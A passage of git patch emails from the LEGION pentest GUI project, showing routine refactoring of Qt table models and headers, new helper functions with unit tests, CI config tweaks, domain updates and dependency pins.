setupToolsTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", - "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ToolsTableModel = ProcessesTableModel(self, self.controller.getProcessesFromDB( self.viewState.filters, showProcesses='noNmap', sort=self.toolsTableViewSort, - ncol=self.toolsTableViewSortColumn), headers) + ncol=self.toolsTableViewSortColumn), toolsTableHeaders) self.ui.ToolsTableView.setModel(self.ToolsTableModel) def updateToolsTableView(self): @@ -1117,13 +1098,11 @@ def updateToolsTableView(self): #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateServiceTableView(self, hostIP): - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", - "Extrainfo", "Fingerprint"] self.ServicesTableModel = ServicesTableModel( - self.controller.getPortsAndServicesForHostFromDB(hostIP, self.viewState.filters), headers) + self.controller.getPortsAndServicesForHostFromDB(hostIP, self.viewState.filters), serviceTableHeaders) self.ui.ServicesTableView.setModel(self.ServicesTableModel) - for i in range(0, len(headers)): # reset all the hidden columns + for i in range(0, len(serviceTableHeaders)): # reset all the hidden columns self.ui.ServicesTableView.setColumnHidden(i, False) for i in [0,1,5,6,8,10,11]: # hide some columns @@ -1132,13 +1111,11 @@ def updateServiceTableView(self, hostIP): self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) def updatePortsByServiceTableView(self, serviceName): - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", - "Extrainfo", "Fingerprint"] self.PortsByServiceTableModel = ServicesTableModel( - self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.viewState.filters), headers) + self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.viewState.filters), serviceTableHeaders) self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) - for i in range(0, len(headers)): # reset all the hidden columns + for i in range(0, len(serviceTableHeaders)): # reset all the hidden columns self.ui.ServicesTableView.setColumnHidden(i, False) for i in [2,5,6,7,8,10,11]: # hide some columns @@ -1177,8 +1154,7 @@ def updateInformationView(self, hostIP): asn=host.asn, isp=host.isp) def updateScriptsView(self, hostIP): - headers = ["Id", "Script", "Port", "Protocol"] - self.ScriptsTableModel = ScriptsTableModel(self,self.controller.getScriptsFromDB(hostIP), headers) + self.ScriptsTableModel = ScriptsTableModel(self, self.controller.getScriptsFromDB(hostIP), scriptsTableHeaders) self.ui.ScriptsTableView.setModel(self.ScriptsTableModel) for i in [0,3]: # hide some columns @@ -1203,10 +1179,8 @@ def updateScriptsView(self, hostIP): self.ui.ScriptsTableView.update() def updateCvesByHostView(self, hostIP): - headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", - "ExploitDb URL"] cves = self.controller.getCvesFromDB(hostIP) - self.CvesTableModel = CvesTableModel(self, cves, headers) + self.CvesTableModel = CvesTableModel(self, cves, cvesTableHeaders) self.ui.CvesTableView.horizontalHeader().resizeSection(0,175) self.ui.CvesTableView.horizontalHeader().resizeSection(2,175) @@ -1237,9 +1211,8 @@ def updateNotesView(self, hostid): self.setDirty(False) def updateToolHostsTableView(self, toolname): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", - "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolHostsTableModel = ProcessesTableModel(self, self.controller.getHostsForTool(toolname), headers) + self.ToolHostsTableModel = ProcessesTableModel(self, self.controller.getHostsForTool(toolname), + toolHostsTableHeaders) self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) for i in [0, 1, 2, 3, 4, 5, 6, 9, 10, 11, 12, 13, 14, 15]: # hide some columns @@ -1247,7 +1220,7 @@ def updateToolHostsTableView(self, toolname): self.ui.ToolHostsTableView.horizontalHeader().resizeSection(7, 150) # default width for Host column - ids = [] # ensure that there is always something selected + ids = [] # ensure that there is always something selected for row in range(self.ToolHostsTableModel.rowCount("")): ids.append(self.ToolHostsTableModel.getProcessIdForRow(row)) @@ -1316,11 +1289,9 @@ def displayAddHostsOverlay(self, display=False): #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def setupProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", - "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB( - self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, - ncol = self.processesTableViewSortColumn), headers) + self.ProcessesTableModel = ProcessesTableModel(self, self.controller.getProcessesFromDB( + self.viewState.filters, showProcesses=True, sort=self.processesTableViewSort, + ncol=self.processesTableViewSortColumn), processTableHeaders) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) self.ProcessesTableModel.sort(15, Qt.DescendingOrder) From 111ed77e756fd4bc5dc2f5c012a0c12c1e95abc5 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 22 Dec 2019 17:07:43 -0500 Subject: [PATCH 326/450] Update .travis.yml Cache pip dependencies Test if current environment is a pull request. If so, skip Docker publish on pull requests --- .travis.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.travis.yml b/.travis.yml index 68d47da7..31fc1605 100644 --- a/.travis.yml +++ b/.travis.yml @@ -9,6 +9,8 @@ sudo: true python: - "3.6" +cache: pip + install: - cp ./requirements.txt ./deps/ - bash ./deps/installPythonLibs.sh @@ -18,6 +20,7 @@ script: - python -m unittest after_success: + - (test $TRAVIS_PULL_REQUEST != "false") && exit 0 - (test $TRAVIS_BRANCH != "master" && test $TRAVIS_BRANCH != "development") && exit 0 - cd ./docker/ - docker login -u $DOCKER_USER -p $DOCKER_PASS From 05f6cabb5ae2e03571f5bfebde5ca1e0feccfe8e Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 3 Jan 2020 10:25:01 -0600 Subject: [PATCH 327/450] Update legion.py --- legion.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.py b/legion.py index 88b8bb3a..4f1566fc 100644 --- a/legion.py +++ b/legion.py @@ -1,6 +1,6 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public From 5d80bc93d38226025646e2cdafd500cf88c0ed6e Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 3 Jan 2020 10:35:10 -0600 Subject: [PATCH 328/450] .com update --- controller/controller.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index a9ddbdf6..c46cc50b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -39,7 +39,7 @@ def __init__(self, view, logic, hostRepository: HostRepository): self.build = '1565621036' self.author = 'GoVanguard' self.copyright = '2019' - self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] + self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.com/legion'] self.emails = [] self.update = '08/12/2019' From fb1ff92b84d6f966b25969e719dbf1c0b0be8170 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 3 Jan 2020 10:36:33 -0600 Subject: [PATCH 329/450] .com update --- app/scriptmodels.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scriptmodels.py b/app/scriptmodels.py index 9f5bbbd1..9bb3bee3 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. From d3734831b18bc635ef5871c8e24bbfa1f368f21b Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 3 Jan 2020 10:37:58 -0600 Subject: [PATCH 330/450] .com update --- app/Screenshooter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 28ebe61d..4ad16019 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public From 0eff1f3b778ed8101868cdf08f9f59425efbd792 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 3 Jan 2020 10:39:18 -0600 Subject: [PATCH 331/450] .com update --- ui/gui.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/gui.py b/ui/gui.py index 1ed21197..729bda54 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. From 8a82b669f4b1c2950ce68365a7a23545268274f7 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 14 Dec 2019 21:40:38 -0500 Subject: [PATCH 332/450] Minor cvemodels changes --- app/cvemodels.py | 69 +++++++++++++----------------------------------- 1 file changed, 19 insertions(+), 50 deletions(-) diff --git a/app/cvemodels.py b/app/cvemodels.py index b03ac689..31d5c96a 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -17,16 +17,28 @@ """ import re +from typing import Dict + from PyQt5 import QtWidgets, QtGui, QtCore from app.auxiliary import * # for bubble sort class CvesTableModel(QtCore.QAbstractTableModel): - def __init__(self, controller, cves = [[]], headers = [], parent = None): QtCore.QAbstractTableModel.__init__(self, parent) self.__headers = headers self.__cves = cves self.__controller = controller + self.columnMapping = { + 0: "name", + 1: "severity", + 2: "product", + 3: "version", + 4: "url", + 5: "source", + 6: "exploitId", + 7: "exploit", + 8: "exploitUrl" + } def setCves(self, cves): self.__cves = cves @@ -51,62 +63,19 @@ def headerData(self, section, orientation, role): return "not implemented" def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell value = '' row = index.row() column = index.column() - if column == 0: - value = self.__cves[row]['name'] - elif column == 1: - value = self.__cves[row]['severity'] - elif column == 2: - value = self.__cves[row]['product'] - elif column == 3: - value = self.__cves[row]['version'] - elif column == 4: - value = self.__cves[row]['url'] - elif column == 5: - value = self.__cves[row]['source'] - elif column == 6: - value = self.__cves[row]['exploitId'] - elif column == 7: - value = self.__cves[row]['exploit'] - elif column == 8: - value = self.__cves[row]['exploitUrl'] - return value + + return self.__cves[row][self.columnMapping[column]] def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() - array=[] - - if Ncol == 0: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['name']) - elif Ncol == 1: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['severity']) - elif Ncol == 2: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['product']) - elif Ncol == 3: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['version']) - elif Ncol == 4: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['url']) - elif Ncol == 5: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['source']) - elif Ncol == 6: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['exploitId']) - elif Ncol == 7: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['exploit']) - elif Ncol == 8: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['exploitUrl']) + + array = [] + for i in range(len(self.__cves)): + array.append(self.__cves[i][self.columnMapping[Ncol]]) sortArrayWithArray(array, self.__cves) # sort the services based on the values in the array From b9597c8c32eeec92f9d8bc847e088f7c1644caf4 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 22 Dec 2019 17:59:53 -0500 Subject: [PATCH 333/450] Extract palette redraw function into a private method Avoids duplication in multiple places --- ui/dialogs.py | 27 ++++++++++----------------- 1 file changed, 10 insertions(+), 17 deletions(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index 1293eee2..ce15ec1e 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -297,15 +297,8 @@ def setupLayout(self): self.display = QtWidgets.QPlainTextEdit() self.display.setReadOnly(True) if self.settings.general_tool_output_black_background == 'True': - #self.display.setStyleSheet("background: rgb(0,0,0)") # black background - #self.display.setTextColor(QtGui.QColor('white')) # white font - p = self.display.palette() - p.setColor(QtGui.QPalette.Base, Qt.black) # black background - p.setColor(QtGui.QPalette.Text, Qt.white) # white font - self.display.setPalette(p) - # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black - self.display.setStyleSheet("QMenu { color:black;}") - + self.__drawPalette() + self.vlayout = QtWidgets.QVBoxLayout() self.vlayout.addLayout(self.setupLayoutHlayout()) self.vlayout.addLayout(self.setupLayoutHlayout4()) @@ -315,6 +308,13 @@ def setupLayout(self): self.vlayout.addWidget(self.display) self.setLayout(self.vlayout) + def __drawPalette(self): + p = self.display.palette() + p.setColor(QtGui.QPalette.Base, Qt.black) # black background + p.setColor(QtGui.QPalette.Text, Qt.white) # white font + self.display.setPalette(p) + self.display.setStyleSheet("QMenu { color:black;}") + # TODO: need to check all the methods that need an additional input field and add them here # def showMoreOptions(self, text): # if str(text) == "http-head": @@ -414,14 +414,7 @@ def resetDisplay(self): self.display = QtWidgets.QPlainTextEdit() self.display.setReadOnly(True) if self.settings.general_tool_output_black_background == 'True': - #self.display.setStyleSheet("background: rgb(0,0,0)") # black background - #self.display.setTextColor(QtGui.QColor('white')) # white font - p = self.display.palette() - p.setColor(QtGui.QPalette.Base, Qt.black) # black background - p.setColor(QtGui.QPalette.Text, Qt.white) # white font - self.display.setPalette(p) - # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black - self.display.setStyleSheet("QMenu { color:black;}") + self.__drawPalette() self.vlayout.addWidget(self.display) # dialog displayed when the user clicks on the advanced filters button From 2112dc88c60645aca399ded923d437492b8a8ca4 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 22 Dec 2019 18:36:24 -0500 Subject: [PATCH 334/450] Extract header resolver from each model into separate function Reduces duplication across multiple files --- app/ModelHelpers.py | 26 +++++++++++++++++++++ app/cvemodels.py | 11 +++------ app/hostmodels.py | 10 ++++----- app/processmodels.py | 11 +++------ app/scriptmodels.py | 9 +++----- app/servicemodels.py | 20 +++++------------ tests/app/test_ModelHelpers.py | 41 ++++++++++++++++++++++++++++++++++ 7 files changed, 86 insertions(+), 42 deletions(-) create mode 100644 app/ModelHelpers.py create mode 100644 tests/app/test_ModelHelpers.py diff --git a/app/ModelHelpers.py b/app/ModelHelpers.py new file mode 100644 index 00000000..93473c12 --- /dev/null +++ b/app/ModelHelpers.py @@ -0,0 +1,26 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2019 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from PyQt5 import QtCore + + +def resolveHeaders(role, orientation, section, headers): + if role == QtCore.Qt.DisplayRole and orientation == QtCore.Qt.Horizontal: + if section < len(headers): + return headers[section] + else: + return "not implemented in view model" \ No newline at end of file diff --git a/app/cvemodels.py b/app/cvemodels.py index 31d5c96a..b94ad43b 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -20,6 +20,8 @@ from typing import Dict from PyQt5 import QtWidgets, QtGui, QtCore + +from app.ModelHelpers import resolveHeaders from app.auxiliary import * # for bubble sort class CvesTableModel(QtCore.QAbstractTableModel): @@ -55,19 +57,12 @@ def columnCount(self, parent): return 0 def headerData(self, section, orientation, role): - if role == QtCore.Qt.DisplayRole: - if orientation == QtCore.Qt.Horizontal: - if section < len(self.__headers): - return self.__headers[section] - else: - return "not implemented" + return resolveHeaders(role, orientation, section, self.__headers) def data(self, index, role): # this method takes care of how the information is displayed if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell - value = '' row = index.row() column = index.column() - return self.__cves[row][self.columnMapping[column]] def sort(self, Ncol, order): diff --git a/app/hostmodels.py b/app/hostmodels.py index 0ba7eb8e..1b3a57cc 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -21,8 +21,11 @@ from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtGui import QFont from PyQt5.QtCore import pyqtSignal, QObject + +from app.ModelHelpers import resolveHeaders from app.auxiliary import * # for bubble sort + class HostsTableModel(QtCore.QAbstractTableModel): def __init__(self, hosts = [[]], headers = [], parent = None): @@ -42,12 +45,7 @@ def columnCount(self, parent): return 0 def headerData(self, section, orientation, role): - if role == QtCore.Qt.DisplayRole: - if orientation == QtCore.Qt.Horizontal: - if section < len(self.__headers): - return self.__headers[section] - else: - return "not implemented in view model" + return resolveHeaders(role, orientation, section, self.__headers) def data(self, index, role): # this method takes care of how the information is displayed if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text diff --git a/app/processmodels.py b/app/processmodels.py index 4e5c740e..a4341be2 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -18,6 +18,8 @@ import re from PyQt5 import QtWidgets, QtGui, QtCore + +from app.ModelHelpers import resolveHeaders from app.auxiliary import * # for bubble sort class ProcessesTableModel(QtCore.QAbstractTableModel): @@ -43,14 +45,7 @@ def columnCount(self, parent): return 0 def headerData(self, section, orientation, role): - if role == QtCore.Qt.DisplayRole: - - if orientation == QtCore.Qt.Horizontal: - - if section < len(self.__headers): - return self.__headers[section] - else: - return "not implemented" + return resolveHeaders(role, orientation, section, self.__headers) # this method takes care of how the information is displayed def data(self, index, role): diff --git a/app/scriptmodels.py b/app/scriptmodels.py index 5c4ab218..db70eed2 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -19,6 +19,8 @@ import re from PyQt5 import QtWidgets, QtGui, QtCore + +from app.ModelHelpers import resolveHeaders from app.auxiliary import * # for bubble sort class ScriptsTableModel(QtCore.QAbstractTableModel): @@ -44,12 +46,7 @@ def columnCount(self, parent): return 0 def headerData(self, section, orientation, role): - if role == QtCore.Qt.DisplayRole: - if orientation == QtCore.Qt.Horizontal: - if section < len(self.__headers): - return self.__headers[section] - else: - return "not implemented" + return resolveHeaders(role, orientation, section, self.__headers) def data(self, index, role): # this method takes care of how the information is displayed diff --git a/app/servicemodels.py b/app/servicemodels.py index a1d35891..7159fd30 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -18,10 +18,12 @@ """ from PyQt5 import QtWidgets, QtGui, QtCore -from PyQt5.QtCore import pyqtSignal, QObject +from PyQt5.QtCore import pyqtSignal, QObject + +from app.ModelHelpers import resolveHeaders from app.auxiliary import * # for bubble sort -class ServicesTableModel(QtCore.QAbstractTableModel): # needs to inherit from QAbstractTableModel +class ServicesTableModel(QtCore.QAbstractTableModel): def __init__(self, services = [[]], headers = [], parent = None): QtCore.QAbstractTableModel.__init__(self, parent) @@ -40,12 +42,7 @@ def columnCount(self, parent): return 0 def headerData(self, section, orientation, role): - if role == QtCore.Qt.DisplayRole: - if orientation == QtCore.Qt.Horizontal: - if section < len(self.__headers): - return self.__headers[section] - else: - return "not implemented" + return resolveHeaders(role, orientation, section, self.__headers) # this method takes care of how the information is displayed def data(self, index, role): @@ -189,12 +186,7 @@ def columnCount(self, parent): return 0 def headerData(self, section, orientation, role): - if role == QtCore.Qt.DisplayRole: - if orientation == QtCore.Qt.Horizontal: - if section < len(self.__headers): - return self.__headers[section] - else: - return "not implemented" + return resolveHeaders(role, orientation, section, self.__headers) def data(self, index, role): # This method takes care of how the information is displayed diff --git a/tests/app/test_ModelHelpers.py b/tests/app/test_ModelHelpers.py new file mode 100644 index 00000000..e762f0cb --- /dev/null +++ b/tests/app/test_ModelHelpers.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2019 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest + +from PyQt5 import QtCore + +from app.ModelHelpers import resolveHeaders + + +class ModelHelpersTest(unittest.TestCase): + def test_resolveHeaders_WhenRoleIsDisplayAndOrientationIsHzAndSectionIsWithinBound_ReturnsHeaders(self): + expectedHeaders = ["header1", "header2", "header3"] + headers = [[], expectedHeaders, []] + actualHeaders = resolveHeaders(QtCore.Qt.DisplayRole, QtCore.Qt.Horizontal, 1, headers) + self.assertEqual(expectedHeaders, actualHeaders) + + def test_resolveHeaders_WhenRoleIsNotDisplay_ReturnsNone(self): + self.assertIsNone(resolveHeaders(QtCore.Qt.BackgroundRole, QtCore.Qt.Horizontal, 1, [])) + + def test_resolveHeaders_WhenRoleIsDisplayAndOrientationIsNotHz_ReturnsNone(self): + self.assertIsNone(resolveHeaders(QtCore.Qt.DisplayRole, QtCore.Qt.Vertical, 1, [])) + + def test_resolveHeaders_WhenRoleIsDisplayAndOrientationIsHzAndSectionIsOutOfBound_ReturnsStringMessage(self): + expectedMessage = "not implemented in view model" + actualMessage = resolveHeaders(QtCore.Qt.DisplayRole, QtCore.Qt.Horizontal, 100, []) + self.assertEqual(expectedMessage, actualMessage) From b27fc0e71219f4d684ab18bf0603feed7abc44f5 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 22 Dec 2019 19:21:30 -0500 Subject: [PATCH 335/450] Extract model flag resolution into helpers --- app/ModelHelpers.py | 10 +++++++++- app/cvemodels.py | 4 ++-- app/hostmodels.py | 4 ++-- app/processmodels.py | 4 ++-- app/scriptmodels.py | 4 ++-- app/servicemodels.py | 4 ++-- tests/app/test_ModelHelpers.py | 10 +++++++++- 7 files changed, 28 insertions(+), 12 deletions(-) diff --git a/app/ModelHelpers.py b/app/ModelHelpers.py index 93473c12..e6ff13ab 100644 --- a/app/ModelHelpers.py +++ b/app/ModelHelpers.py @@ -23,4 +23,12 @@ def resolveHeaders(role, orientation, section, headers): if section < len(headers): return headers[section] else: - return "not implemented in view model" \ No newline at end of file + return "not implemented in view model" + + +def itemInteractive() -> QtCore.Qt.ItemFlag: + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable + + +def itemSelectable() -> QtCore.Qt.ItemFlag: + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable diff --git a/app/cvemodels.py b/app/cvemodels.py index b94ad43b..8a6898ac 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -21,7 +21,7 @@ from PyQt5 import QtWidgets, QtGui, QtCore -from app.ModelHelpers import resolveHeaders +from app.ModelHelpers import resolveHeaders, itemInteractive from app.auxiliary import * # for bubble sort class CvesTableModel(QtCore.QAbstractTableModel): @@ -81,7 +81,7 @@ def sort(self, Ncol, order): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc def flags(self, index): - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable + return itemInteractive() ### getter functions ### diff --git a/app/hostmodels.py b/app/hostmodels.py index 1b3a57cc..3617523c 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -22,7 +22,7 @@ from PyQt5.QtGui import QFont from PyQt5.QtCore import pyqtSignal, QObject -from app.ModelHelpers import resolveHeaders +from app.ModelHelpers import resolveHeaders, itemSelectable from app.auxiliary import * # for bubble sort @@ -126,7 +126,7 @@ def data(self, index, role): # this method takes care of how the # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc def flags(self, index): - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable # add QtCore.Qt.ItemIsEditable to edit item + return itemSelectable() # sort function called when the user clicks on a header def sort(self, Ncol, order): diff --git a/app/processmodels.py b/app/processmodels.py index a4341be2..45db0b82 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -19,7 +19,7 @@ import re from PyQt5 import QtWidgets, QtGui, QtCore -from app.ModelHelpers import resolveHeaders +from app.ModelHelpers import resolveHeaders, itemInteractive from app.auxiliary import * # for bubble sort class ProcessesTableModel(QtCore.QAbstractTableModel): @@ -138,7 +138,7 @@ def sort(self, Ncol, order): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc def flags(self, index): - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable + return itemInteractive() def setDataList(self, processes): self.__processes = processes diff --git a/app/scriptmodels.py b/app/scriptmodels.py index db70eed2..4fe8eece 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -20,7 +20,7 @@ import re from PyQt5 import QtWidgets, QtGui, QtCore -from app.ModelHelpers import resolveHeaders +from app.ModelHelpers import resolveHeaders, itemSelectable from app.auxiliary import * # for bubble sort class ScriptsTableModel(QtCore.QAbstractTableModel): @@ -90,7 +90,7 @@ def sort(self, Ncol, order): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc def flags(self, index): - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + return itemSelectable() ### getter functions ### diff --git a/app/servicemodels.py b/app/servicemodels.py index 7159fd30..b6128f1f 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -20,7 +20,7 @@ from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtCore import pyqtSignal, QObject -from app.ModelHelpers import resolveHeaders +from app.ModelHelpers import resolveHeaders, itemInteractive from app.auxiliary import * # for bubble sort class ServicesTableModel(QtCore.QAbstractTableModel): @@ -99,7 +99,7 @@ def data(self, index, role): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc def flags(self, index): - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable + return itemInteractive() # sort function called when the user clicks on a header def sort(self, Ncol, order): diff --git a/tests/app/test_ModelHelpers.py b/tests/app/test_ModelHelpers.py index e762f0cb..a2e956d0 100644 --- a/tests/app/test_ModelHelpers.py +++ b/tests/app/test_ModelHelpers.py @@ -19,7 +19,7 @@ from PyQt5 import QtCore -from app.ModelHelpers import resolveHeaders +from app.ModelHelpers import resolveHeaders, itemInteractive, itemSelectable class ModelHelpersTest(unittest.TestCase): @@ -39,3 +39,11 @@ def test_resolveHeaders_WhenRoleIsDisplayAndOrientationIsHzAndSectionIsOutOfBoun expectedMessage = "not implemented in view model" actualMessage = resolveHeaders(QtCore.Qt.DisplayRole, QtCore.Qt.Horizontal, 100, []) self.assertEqual(expectedMessage, actualMessage) + + def test_itemInteractive_ReturnsItemFlagForEnabledSelectableEditableItem(self): + expectedFlags = QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable + self.assertEqual(expectedFlags, itemInteractive()) + + def test_itemSelectable_ReturnItemFlagForEnabledSelectableItem(self): + expectedFlags = QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + self.assertEqual(expectedFlags, itemSelectable()) From b07bb3dbf3cc1ba896261f82370a61436863b08c Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 23 Jan 2020 14:48:20 -0600 Subject: [PATCH 336/450] Update requirements --- docker/buildIt.sh | 3 ++- requirements.txt | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/docker/buildIt.sh b/docker/buildIt.sh index 2a7bab03..3a23f37e 100644 --- a/docker/buildIt.sh +++ b/docker/buildIt.sh @@ -1,2 +1,3 @@ #!/bin/bash -docker build -t legion . --no-cache +releaseTag=`git branch | grep "*" | awk '{print $2}'` +docker build -t legion:${releaseTag} . --no-cache diff --git a/requirements.txt b/requirements.txt index 9a77a802..03fd9a6d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,7 +6,7 @@ Quamash>=0.6.1 SQLAlchemy==1.3.0b1 aiomonitor>=0.3.1 APScheduler>=3.5.3 -PyQt5>=5.11.3 +PyQt5==5.11.3 sanic>=0.8.3 sanic_swagger requests>=2.20.1 From 929e266ad6b0ad2010211c9e4f158943de39b3a3 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 23 Jan 2020 14:48:47 -0600 Subject: [PATCH 337/450] Update requirements --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 69b6af6c..56f7c15a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,7 +6,7 @@ Quamash>=0.6.1 